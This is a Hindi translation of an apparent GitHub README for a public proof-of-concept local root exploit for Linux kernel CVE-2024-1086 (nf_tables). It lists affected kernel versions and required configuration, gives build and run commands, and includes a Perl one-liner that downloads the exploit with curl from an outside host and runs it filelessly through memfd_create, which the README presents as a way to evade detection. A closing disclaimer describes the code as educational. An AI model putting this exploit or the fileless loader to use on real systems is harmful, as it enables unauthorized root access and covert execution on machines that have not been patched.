
यूनिवर्सल लोकल प्रिविलेज एस्केलेशन Proof-of-Concept एक्सप्लॉइट CVE-2024-1086 के लिए, जो v5.14 और v6.6 के बीच के अधिकांश Linux कर्नेल पर काम करता है, जिसमें Debian, Ubuntu और KernelCTF शामिल हैं। KernelCTF इमेजेज में सफलता दर 99.4% है।
https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de
एक्सप्लॉइट का पूरा राइट-अप - जिसमें पृष्ठभूमि जानकारी और ढेर सारे उपयोगी आरेख शामिल हैं - Flipping Pages ब्लॉगपोस्ट में पाया जा सकता है।
यह एक्सप्लॉइट v5.14 से (समावेशी) v6.6 तक (समावेशी) के संस्करणों को प्रभावित करता है, पैच की गई शाखाओं v5.15.149>, v6.1.76>, v6.6.15> को छोड़कर। इन संस्करणों के लिए पैच फरवरी 2024 में जारी किए गए थे। अंतर्निहित कमजोरी v3.15 से v6.8-rc1 तक के सभी संस्करणों (पैच की गई स्थिर शाखाओं को छोड़कर) को प्रभावित करती है।
चेतावनियाँ:
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y हो (Ubuntu v6.5 सहित)।CONFIG_USER_NS=y) आवश्यक हैं, यह कि वे user namespaces अनप्रिविलेज्ड हों (sh कमांड sysctl kernel.unprivileged_userns_clone = 1), और यह कि nf_tables सक्षम हो (kconfig CONFIG_NF_TABLES=y)। डिफ़ॉल्ट रूप से, Debian, Ubuntu और KernelCTF पर ये सभी सक्षम होते हैं। अन्य डिस्ट्रो का परीक्षण नहीं किया गया है, लेकिन वे भी काम कर सकते हैं। इसके अतिरिक्त, एक्सप्लॉइट का परीक्षण केवल x64/amd64 पर किया गया है।डिफ़ॉल्ट मान Debian, Ubuntu और KernelCTF पर लोकल शेल के साथ बिना किसी बदलाव के काम करने चाहिए। गैर-परीक्षित सेटअप/डिस्ट्रो पर, कृपया सुनिश्चित करें कि kconfig मान लक्षित कर्नेल से मेल खाते हों। इन्हें src/config.h में निर्दिष्ट किया जा सकता है। यदि आप 32GiB से अधिक फिजिकल मेमोरी वाली मशीन पर एक्सप्लॉइट चला रहे हैं, तो CONFIG_PHYS_MEM बढ़ाना सुनिश्चित करें। यदि आप SSH के माध्यम से (परीक्षण मशीन में) या रिवर्स शेल के माध्यम से एक्सप्लॉइट चला रहे हैं, तो आप अनावश्यक नेटवर्क गतिविधि से बचने के लिए CONFIG_REDIRECT_LOG को 1 पर टॉगल करना चाह सकते हैं।
यदि यह आपके लिए अव्यावहारिक है, तो डिफ़ॉल्ट कॉन्फ़िगरेशन के साथ एक संकलित x64 बाइनरी उपलब्ध है।
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
बाइनरी: CVE-2024-1086/exploit
एक्सप्लॉइट चलाना उतना ही आसान है:
./exploit
फाइललेस निष्पादन भी समर्थित है, उन पेंटेस्ट स्थितियों के मामले में जहां डिटेक्शन से बचने की आवश्यकता होती है। हालाँकि, टारगेट पर Perl स्थापित होना आवश्यक है:
perl -e '
require qw/syscall.ph/;
my $fd = syscall(SYS_memfd_create(), $fn, 0);
system "curl https://example.com/exploit -s >&$fd";
exec {"/proc/$$/fd/$fd"} "memfd";
'
इस सॉफ्टवेयर निर्देशिका/फ़ोल्डर/रिपॉजिटरी ("रिपॉजिटरी") में मौजूद प्रोग्राम और स्क्रिप्ट ("प्रोग्राम") केवल शैक्षिक/अनुसंधान उद्देश्यों के लिए प्रकाशित, विकसित और वितरित किए जाते हैं। मैं ("निर्माता") इस रिपॉजिटरी में मौजूद प्रोग्रामों के किसी भी दुर्भावनापूर्ण या अवैध उपयोग का समर्थन नहीं करता/करती, क्योंकि इरादा अनुसंधान साझा करना है न कि इसके साथ अवैध गतिविधियाँ करना। इस रिपॉजिटरी में मौजूद प्रोग्रामों के साथ आप जो कुछ भी करते हैं, उसके लिए मैं कानूनी रूप से जिम्मेदार नहीं हूँ।